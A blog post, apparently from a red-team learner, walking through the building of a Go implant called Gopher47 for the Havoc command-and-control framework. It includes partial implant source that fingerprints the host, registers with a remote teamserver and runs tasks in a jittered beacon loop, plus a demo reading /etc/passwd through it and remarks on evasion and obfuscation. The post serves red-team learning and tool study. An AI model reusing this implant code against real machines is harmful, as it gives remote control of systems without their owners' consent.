Causing Havoc with a Gopher

What does any of this mean?

I talk about what command and control is pretty extensively in my post on Sliver, but we can review some of that content here.

Command and control frameworks (frequently written as “C2”) have a very simple motive. If I’m an attacker going after an enterprise network, it would be incredibly hard to try and juggle 10, 50, or more terminal windows for every computer I’ve compromised. Hence, attackers will use C2 frameworks to be able to easily manage and coordinate the control they have over a given network. The general workflow across any framework’s teamserver is:

1. Create a listener to catch incoming connections
2. Generate an implant/agent/payload/[l33t_name] to execute on a victim computer to connect back to your listener
3. ???
4. Profit!

With this in mind, it becomes clear that the quality of your implant and how you choose to deploy it can be make or break for your red team operation. An implant can be as simple as a fancy reverse shell, and as complex as having sleep obfuscation techniques, beacon object files, in-memory .NET execution, etc. Basically, the options are endless.

Despite all of this gadgets and newfangled doodads, the core function of an implant remains the same: connect back to the teamserver to be able to remotely control the computer.

Implant Design

Different C2 frameworks will have different design philosophies for how they want their implants to be used or function, which can slightly or dramatically change how you approach execution. Take, for example, the Covenant Framework is entirely written in C# and is based around playing with the .NET Framework. The “Grunts” (what Covenant calls its implants) are outfitted with commands to load .NET assemblies into memory, load Powershell modules without touching disk, and can be deployed through single Powershell one-liners if needed. That being said, C# does have some downsides as being the language of choice, one of them being that the .NET framework is incredibly easy to reverse engineer without significant obfuscation.

Contrast this with Sliver, which is entirely written in Golang, and has occasionally been used in lieu of Cobalt Strike. Being written in Golang, the biggest advantage that Sliver implants have is the ability to compile the same code for Linux, Windows, and even MacOS. Sliver also has excellent support for a variety of callback protocols (how an implant chooses to communicate with the server) and by extension, authentication/encryption. However, this design choice comes with it’s own downsides, which the devs make clear:

“Sliver is generally designed as a stage 2 payload, and as such we’ve not yet endeavored to minimize the implant’s file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of stagers for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.” — Sliver Wiki

What other factors might influence how you create an implant, or what you add to it?

• Programming Language: Theoretically, if it executes code, the language shouldn’t matter. However, there’s a very obvious difference from writing your payload in Python and writing it in C++ or choosing to write it in a more unknown language like Nim or V. Python is super easy to write in but is super detectable, C++ can do a lot more with the operating system but is much harder to write in, and Nim is much harder to analyze but has little to no robust documentation.
• Methods of Code Execution: While it would be great to be able to just system() everything, if we’re in a heavily monitored environment, we may want alternative ways to execute code. This could be as simple as writing a command to give me all the information ls would without actually running ls, or as complex as writing a custom COFF Loader to load and run various functions in-memory.
• Evasion: If we’re a red team, stealth is the name of the game, and we can’t just go in guns blazing with a 10 MB executable that’s making connections to https[:]//yeahbaby.swag. Depending on the language, this may include conditional compilation, parent process ID spoofing, and just anything that allows the executable to blend into its environment more easily.
• Callback Protocols: We mentioned this earlier, but if a network protocol can transfer data, you can be sure someone’s turned it into a way for an implant and server to talk. HTTP is an obvious one, but what if we got a little crazy? DNS? SMB? even ICMP? What if we tried to use more than one for redundancy, or to mix up adversaries?
• More Utilities?: Implants can be and are more than just fancy reverse shells. Many come outfitted with additional features to make life easier for the attacker, such as built-in SOCKS proxy functionality, port forwarding, the classic getsystem, etc. At the end of the day, it’s a program like any other, so feel free to stick metaphorical cup holders and a bluetooth radio in there for all I care.

This is obviously not a comprehensive list, but I hope it gets you thinking about what might go into what decisions are made as far as implant design goes.

^{Why isn’t it blue >:(}

How do Gophers cause Havoc?

Let’s talk about 3rd party implants, i.e., implants that are written by someone who is not the developer of the C2 Framework. Havoc is not the first framework to do this. From what I’ve seen, the most practical use of third party implants is with the Mythic Framework. They have an entire Github organization for these agents, and it’s very neat to see all of these people all committed to the mythology theme.

You can read on your own about how Mythic works, but we’re concerned about Havoc. In CodeX’s guide on creating third party agents for Havoc, they clearly outline how it’s supposed to work. As far as callbacks go, all payloads must be structured as follows:

To be more specific, the first 4 bytes of any data sent contain the total size of the request, including this header. The next 4 bytes are a magic value to identify the custom agent among any other agents in use. Finally, we have 4 bytes to fingerprint exactly what agent is making the callback, so the teamserver can record the connections accordingly. The rest of the payload is the actual data that is being sent to the teamserver, which is usually either the implant checking in for a new task, or returning command output.

Putting it all together, suppose we have an implant communicating over HTTP(S). Then, a full exchange between the agent and the teamserver should look something like this:

The whole process is not that complicated. Implant shows data to server following the specification. Server says “hmmm, yes, I will do [INSERT_COMMAND_HERE] now”, and then hands a response back to the implant, which should do something in return, and the cycle continues.

Golang Basics

To start our Golang project, after creating a repository on GitHub, we can move into the repository and initialize our project like so:

kali@transistor:~/go/src/github.com/An00bRektn$ git clone https://github.com/An00bRektn/golang-implant.git
Cloning into 'golang-implant'...
Username for 'https://github.com': An00bRektn
Password for 'https://An00bRektn@github.com':
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (5/5), done.
kali@transistor:~/go/src/github.com/An00bRektn$ cd golang-implant/
kali@transistor:~/go/src/github.com/An00bRektn/golang-implant$ go mod init github.com/An00bRektn/golang-implant
go: creating new go.mod: module github.com/An00bRektn/golang-implant
kali@transistor:~/go/src/github.com/An00bRektn/golang-implant$ ls -la
total 28
drwxr-xr-x 3 kali kali 4096 Jan 14 20:45 .
drwxr-xr-x 5 kali kali 4096 Jan 14 20:44 ..
drwxr-xr-x 8 kali kali 4096 Jan 14 20:44 .git
-rw-r--r-- 1 kali kali  269 Jan 14 20:44 .gitignore
-rw-r--r-- 1 kali kali   53 Jan 14 20:45 go.mod
-rw-r--r-- 1 kali kali 1061 Jan 14 20:44 LICENSE
-rw-r--r-- 1 kali kali   16 Jan 14 20:44 README.md

The go mod init command will define the current directory as a new module, which is a collection of Golang packages. We can read the go.mod file to see that it defines a new module with zero new imports:

kali@transistor:~/go/src/github.com/An00bRektn/golang-implant$ cat go.mod
module github.com/An00bRektn/golang-implant
 
go 1.19

You’ll also notice that the directory I’m in is ~/go/src/github.com/An00bRektn/golang-implant. You can technically make a new Golang project in any directory you want, but it’s a lot easier to make it in the $GOPATH directory (check where this is with go env) because of how remote packages are downloaded and searched for. The github.com/An00bRektn is just something I learned from some Go documentation that I can’t find anymore, but it’s nice because it means the syntax I use to import local code is the exact same as how I would import stuff remotely.

If you want to learn more about how Golang wants you to write code, you can read more about it in the official docs.

Baby Steps

My implant is a weird child of the very simple PyHmmm implant developed to demonstrate how to use the third party API and SharpAgent, so there’s definitely better ways of going about that. Regardless, to start, we need to generate the 12 byte header for everytime we need to check in.

package main
 
import (
	"math/rand"
	"time"
)
 
var (
	magicBytes = []byte("\x67\x6f\x67\x6f") // 'gogo'
	// agentId set in main() because random seeding
	agentId = ""
)
 
func genHeader(length int) string {
	var letters = []rune("abcdefghijklmnopqrstuvwxyz")
    header := make([]rune, length)
    for i := range header {
        header[i] = letters[rand.Intn(len(letters))]
    }
    return string(header)
}
 
func main() {
	rand.Seed(time.Now().UnixNano())
	agentId = genHeader(4)
}

Here, we set the “magic bytes” to be the byte representation of the string ‘gogo’, because apparently the magic bytes must be printable (definitely didn’t give me an hour of debugging to work through). The genHeader() function will generate a random 4 character string of lowercase letters. We’re seeding the randomness by the current time, which is technically a bad thing, but the randomness isn’t being applied to anything critical like encryption, so it doesn’t matter. From here, since we’re using HTTP(S) as our callback protocol, we need to build up the JSON that we’ll send in our POST request to give the teamserver information about our host.

func registerAgent(url string, magic []byte, agentId string) string{
	host, err := sysinfo.Host()
	hostInfo := host.Info()
	checkError(err)
	proc, _ := sysinfo.Self()
	procInfo, _ := proc.Info()
 
	hostname := hostInfo.Hostname
	currentuser, _ := user.Current()
	procPath, _ := os.Executable()
 
	registerDict := map[string]string{
		"AgentID": agentId,
		"Hostname": hostname,
		"Username": currentuser.Username,
		"Domain": "",
		"InternalIP": utils.FindNotLoopback(hostInfo.IPs),
		"Process Path": procPath,
		"Process ID": strconv.Itoa(procInfo.PID),
		"Process Parent ID": strconv.Itoa(procInfo.PPID),
		"Process Arch": "x64",
		"Process Elevated": "0",
		"OS Build": hostInfo.OS.Build,
		"OS Arch": hostInfo.Architecture,
		"Sleep": strconv.Itoa(c.SleepTime),
		"Process Name": procInfo.Name,
		"OS Version": hostInfo.OS.Name + " " + hostInfo.OS.Version,
	}
 
	dat, _ := json.Marshal(registerDict)
	requestDat := `{"task":"register","data":` + string(dat) + "}" // there was definitely a better way to do this but shhhhh
 
	// the size part needs to be in byte representation
	// python really spoils us huh
	size := len(requestDat)+12
	sizeBytes := make([]byte, 4)
	binary.BigEndian.PutUint32(sizeBytes, uint32(size))
 
	// agentHeader = sizeBytes + magicBytes + agentId
	agentHeader := append(sizeBytes, magic...)
	agentHeader = append(agentHeader, []byte(agentId)...)
	// [...trim...]

There’s a good amount of information about the operating system that needs to be obtained to be able to send this request and have it have value. This is where our first external package comes in, Elastic’s go-sysinfo. This package helps abstract away some of the operating system specific details we would need to work around to get information about the host we’re on. If I was a good developer, I would do some testing to see what traces the library might be leaving, but I’m not.

However, I’m inclined to believe there’s at least a little bit of merit to using this package. It’s created by Elastic, who likely intended for it to be used to collect data from your production or lab environment, not necessarily intended for recon purposes. So, I would argue it’s actually a pretty good library to use to blend in (or I might just be huffing copium).

We can add this to the project by running the below command in the directory we’re writing code.

go get github.com/elastic/go-sysinfo

Once we have our registration JSON put together, we need to send it.

// [...trim]
req, err := http.NewRequest("POST", url, bytes.NewBuffer(append(agentHeader, []byte(requestDat)...)))
checkError(err)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(size))
 
client := &http.Client{}
res, err := client.Do(req)
if (err != nil){
	return "failed"
}
defer res.Body.Close() // defer is a keyword that lets us wait until the current function ends to actually call this. very useful for asynchronous stuff
 
resBody, _ := ioutil.ReadAll(res.Body)
if (string(resBody) == "" || resBody == nil) {
	return "failed"
}
 
return string(resBody)
// [trim...]

If we’re successful, we should get a response from the server that says "successful". From here, the pattern becomes very simple.

1. Check in with the teamserver every so often for new tasks. I say “every so often” because having a persistent connection, or making a lot of requests very quickly, is highly suspicious.
2. If we get a new task, execute it based upon some predefined syntax. For instance, I might define the payload for a shell command to be something like shell arg1 arg2 arg3 .... We then parse this and work through it in the implant.
3. Once we’ve completed a task, return the output, or at least some message, to the teamserver, so the operator can see it and most likely store it for later use.

You can see this part of the main() function below.

// [trim...]
command := ""
out := ""
r := 1
// Begin execution
for {
	command = checkIn("", "gettask")
	if (len(command) > 4) { // the first 4 bytes are just the size header
		out = RunCommand(utils.Strip(command[4:]))
		if utils.Strip(strings.Fields(command[4:])[0]) == "download"{
			// the `download` command functions slightly different compared
			// to the rest
			checkIn(utils.JsonEscape(out), "download") 
		} else {
			checkIn(utils.JsonEscape(out), "commandoutput")
		}
	}
	// we want to vary the amount of time in between check-ins
	// otherwise if it's too regular, that's a little *sus*
	r = rand.Intn(jitterRange)
	time.Sleep((time.Duration(sleepTime) * time.Second) + (time.Duration(r) * time.Microsecond))
// [...trim...]

The next step after this is to write a Python handler for the Havoc teamserver so that it understands what the Gopher47 implant is actually telling it. For the purposes of this blog post, I’ll omit the specific details about that here, but you can read more about that in the below resources:

• CodeX’s 3rd Party Guide
• The Gopher47 Handler
• The SharpAgent Handler

Testing It!

This isn’t meant to be a “How to Use Havoc”, but might as well have pictures after a block of just code. Since we’re writing in Go, it’s very easy to have the same code work for a Windows executable and a Linux executable. We can start the teamserver with the below command:

kali@transistor:~/go/src/github.com/An00bRektn/gopher47$ cd /opt/Havoc/Teamserver; sudo ./teamserver server --profile ./profiles/havoc.yaotl -v --debug
              _______           _______  _______
    │\     /│(  ___  )│\     /│(  ___  )(  ____ \
    │ )   ( ││ (   ) ││ )   ( ││ (   ) ││ (    \/
    │ (___) ││ (___) ││ │   │ ││ │   │ ││ │
    │  ___  ││  ___  │( (   ) )│ │   │ ││ │
    │ (   ) ││ (   ) │ \ \_/ / │ │   │ ││ │
    │ )   ( ││ )   ( │  \   /  │ (___) ││ (____/\
    │/     \││/     \│   \_/   (_______)(_______/
 
         pwn and elevate until it's done
 
[21:48:50] [DBUG] [cmd.serverFunc:70]: Debug mode enabled
[21:48:50] [INFO] Havoc Framework [Version: 0.4.1] [CodeName: The Fool]
[21:48:50] [INFO] Havoc profile: ./profiles/havoc.yaotl
[21:48:50] [INFO] Build:
 - Compiler x64 : data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc
 - Compiler x86 : /usr/bin/i686-w64-mingw32-gcc
 - Nasm         : /usr/bin/nasm
[21:48:50] [INFO] Time: 14/01/2023 21:48:50
[21:48:50] [INFO] Teamserver logs saved under: data/loot/14.01.2023_21:48:50
[21:48:50] [DBUG] [teamserver.(*Teamserver).Start:47]: Starting teamserver...
[21:48:50] [INFO] Starting Teamserver on ws://0.0.0.0:40056
[21:48:50] [INFO] Starting Teamserver service handler on ws://0.0.0.0:40056/service-endpoint
[21:48:50] [INFO] Opens existing database: data/havoc.db
[21:48:50] [INFO] Starting 2 listeners from last session

Note: The debug flag here is very useful, but can also be a bit of a hinderance if you’re transferring large amounts of data, or your implants are very large, because it will print the whole thing in base64, which is a lot of I/O time.

We can then connect to the server using the client. While these two are running, we also want to run the handler with python3 handler.py to register our implant as a valid one. Once this is done, we should be able to see “Gopher47” as a new option when creating a payload.

We can then run the implant on our machine to test, and we see we get a callback on the handler.

[*] New Message
[+] Receieved request from agent: {"task":"register","data":{"AgentID":"vyhi","Domain":"","Hostname":"transistor","InternalIP":"10.10.69.24","OS Arch":"x86_64","OS Build":"","OS Version":"Kali GNU/Linux 2022.4","Process Arch":"x64","Process Elevated":"0","Process ID":"42151","Process Name":"Gopher47","Process Parent ID":"30751","Process Path":"/home/kali/go/src/github.com/An00bRektn/gopher47/bin/Gopher47","Sleep":"60","Username":"kali"}}
[*] Registered agent
[*] New Message
[+] Receieved request from agent: {"task":"gettask","data":""}
[*] Agent requested taskings

We can check if the Gopher can actually do anything by running the shell command was the first command I put together.

[14/01/2023 22:00:13] Agent 76796869 authenticated from as transistor\kali :: [Internal: 10.10.69.24] [Process: Gopher47\42151] [Arch: x64] [Pivot: Direct]
[+] Gopher47 agent 76796869 registered
 
14/01/2023 22:00:29 [an00b] Gopher47 » shell cat /etc/passwd
[+] Received Output:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
[...trim...]

And that’s an implant!

1. Zero Encryption

You’d think that, as someone who’s recently been working towards making cryptography their main CTF category, that I’d have spent a good minute discussing how I securely transfer data between the victim and my teamserver. To that I say, I didn’t!

For some background, when we’re talking about transferring data over a network, like most things in security, we want to assume a hostile environment. As far as cryptography is concerned, we must assume that there is some eavesdropper listening in on our traffic. Knowing this, I can’t just send my key across the network and just pray it won’t be found. In a writeup from HTB Cyber Apocalypse CTF, we discussed one such solution to this problem, the Diffie-Hellman Key Exchange:

Feel free to read the writeup for some more detail on how this exchange functions, but the main idea at the end of the day is that we need to turn this insecure channel into something that we deem is secure. Unfortunately, if we look at the current state of 3rd party agents on the Havoc Teamserver, we see something that isn’t particularly good. (link to code)

func ParseResponse(AgentID int, Parser *parser.Parser) *Agent {
	logger.Debug("Response:\n" + hex.Dump(Parser.Buffer()))
 
	var (
		MagicValue  int
		DemonID     int
		Hostname    string
		DomainName  string
		Username    string
		InternalIP  string
		ProcessName string
		ProcessPID  int
		OsVersion   []int
		OsArch      int
		Elevated    int
		ProcessArch int
		ProcessPPID int
		SleepDelay  int
		AesKeyEmpty = make([]byte, 32)
	)
 
	/*
		[ SIZE         ] 4 bytes
		[ Magic Value  ] 4 bytes
		[ Agent ID     ] 4 bytes
		[ COMMAND ID   ] 4 bytes
		[ AES KEY      ] 32 bytes
		[ AES IV       ] 16 bytes
		AES Encrypted {
			[ Agent ID     ] 4 bytes // <-- this is needed to check if we successfully decrypted the data
			[ User Name    ] size + bytes
			[ Host Name    ] size + bytes
			[ Domain       ] size + bytes
			[ IP Address   ] 16 bytes?
			[ Process Name ] size + bytes
			[ Process ID   ] 4 bytes
			[ Parent  PID  ] 4 bytes
			[ Process Arch ] 4 bytes
			[ Elevated     ] 4 bytes
			[ OS Info      ] ( 5 * 4 ) bytes
			[ OS Arch      ] 4 bytes
			..... more
		}
	*/
 
	var Session = &Agent{
		Encryption: struct {
			AESKey []byte
			AESIv  []byte
		}{
			AESKey: Parser.ParseAtLeastBytes(32),
			AESIv:  Parser.ParseAtLeastBytes(16),
		},
 
		Active:     false,
		SessionDir: "",
 
		Info: new(AgentInfo),
	}
// trim...

I would love to implement some kind of key exchange on my own, but that would require some modification of the teamserver code itself, and I wanted this to just work with the current Python API as is. So, what does this mean? HTTP is not a safe channel for communication. HTTP involves web requests without any encryption to begin with, so if you were listening for traffic, you would see all of the data and traffic that the implant is producing.

What about HTTPS, though? Recall that HTTPS is HTTP that also implements a protocol for encryption, known as TLS, and that encryption is established between a single client and server with a secure key exchange and all. However, while your traffic is encrypted, and this would be much, much safer, the paranoid side of me considers the case in which the private key that the teamserver has for the HTTPS listener is leaked as the result of some breach or sloppy work. In the case that the same keys were used on every connection, it suddenly becomes possible to decrypt that network traffic. Is this a long shot? Yeah. But is it still in the realm of reality? I wouldn’t count it out.

Apparently the 0.5 update to Havoc will see a rework of the third party agent system and some updating of these things, so hopefully this gets worked out so more protocols become viable.

2. Offensive Golang is Hard

This might just be a “grass is greener on the other side” kind of moment, but one thing I realized as I tried to move into some of the more technical features of the implant is that the amount of work that has been done to use Golang offensively is very weird. We have entire C2 frameworks like Merlin and Sliver which have been written in Golang, but then there just isn’t a repo like OffensiveNim or OffensiveRust for the language. bluesentinelsec’s repository is a good starting point, and feel free to read this and just say “skill issue”, and I really should be the change that I want to see in the world, but having something consolidated would be neat. The more I look into it, the more I find stuff like this repo from Binject but it’s still this weird grab bag of actual tools, and them some actual techniques, but then others are just networking utilities.

Editor Note: After coming back to what I wrote here, I just wanted to clarify that a lot of research has been done as far as offensive Go goes. That being said, to make this clearer, I only found out about Ne0nd0g’s fork of go-clr for .NET execution, which I stumbled into. Go is a reasonable language to write in, it can just be frustrating to have to dig for certain things that I didn’t know people had already put together. Reading through some of the Sliver and Merlin source code has taught me a lot.

Aside from this, some other things I realized that I didn’t like as much about Golang.

• Conditional compilation is at a file-level, not a code-level. Take this code from OffensiveNotion, for instance. In Rust, you can use a tag like #[cfg(target_os = "linux")] to specify code that should only be run in Linux. If I wanted to do this in Go, I need to define two separate files, which isn’t that big of a deal, but makes my IDE very angry at me when I define the same function twice in two separate files.
  • That being said, this could also be considered a much easier way to only compile the commands and features you want in a given beacon. For instance, if I only wanted shell, portscan, and ls, I can use the build tags to create effective separation in my code, which isn’t too bad, just a different approach from other languages. It does, to a certain extent, undermine the whole “cross-platform” selling point, but not really.
• Big binaries are real. There’s really no good way around this one unless I built in a system where you could compile in the commands you want (which is a thing), but as someone who likes putting together droppers, process injectors, etc., you just can’t unless you want to inject a lot of bytes. I added a feature to add some additional compiler flags to reduce the size even more, but something has to give when you have easy cross-operating system functionality.
• As far as responsible red teaming is concerned, trying to obfuscate Golang with something like garble, but then also try and include signatures (because that’s what responsible red teamers do) was a struggle. I wrestled with this on a previous project, and eventually found an answer from the garble devs. Other languages like Rust and Nim have libraries out there that allow you to use macros to obfuscate literals, which is cool. Golang does not have macros, and that’s just something we have to live with.

I originally added this section thinking I’d go on a longer rant about what I didn’t like, when I think most of my frustration stemmed from the learning process, if anything. If there’s only one goal I’ve achieved, I do feel comfortable enough with Go to list it on my resume, and I’ll take that as a win. In all honesty, while Golang might not be everyone’s favorite language to write malware in, it’s not that bad. C++ is and always will be superior in my opinion, but the readability/writeability of Go can’t be ignored, especially if I’m not too worried about doing fancy Win32 API or syscall stuff (which is all possible in Go, but just more annoying than C++).

3. I Have a Lot to Learn

Like any other project one makes, I had ambitions for this one. One thing that I really wanted to add to this was a COFF Loader, code that allows you to read object files into memory to be executed. Cobalt Strike was the first, or just most famous, C2 to develop a system of beacon object files that specifically interact with an API inside the beacon. With this description, it might seem relatively straightforward, or at the very least, that I know how to do these things, but I definitely bit off more than I could chew there.

This implementation by TrustedSec is the one that everyone seems to keep coming back to, and just by reading the code, it becomes obvious that it can be a very involved process. 0xPat does an excellent job breaking down the entire process of how we take an object file, and stick it in memory to be executed, and I highly encourage you to read his blog on that.

^{Courtesy: 0xPat}

This blog is already long enough, but we can see that from the highest of levels, there are two things happening here:

1. We are dissecting the COFF object file and identifying where the boundaries of certain sections lie.
2. Once we know exactly where everything in the file is, we have to map it to the appropriate place in the currently running process to be executed properly.

It’s already one thing to have to manually break apart the object file by knowing the size of the sections and structures ahead of time, but it’s another to have to do a bunch of memory shenanigans to put everything in the right spot. I am definitely planning to try and write my own loader in Go, but for the time being, I have been humbled, and truly see that basic process injection is just the first step in a long road of malware development.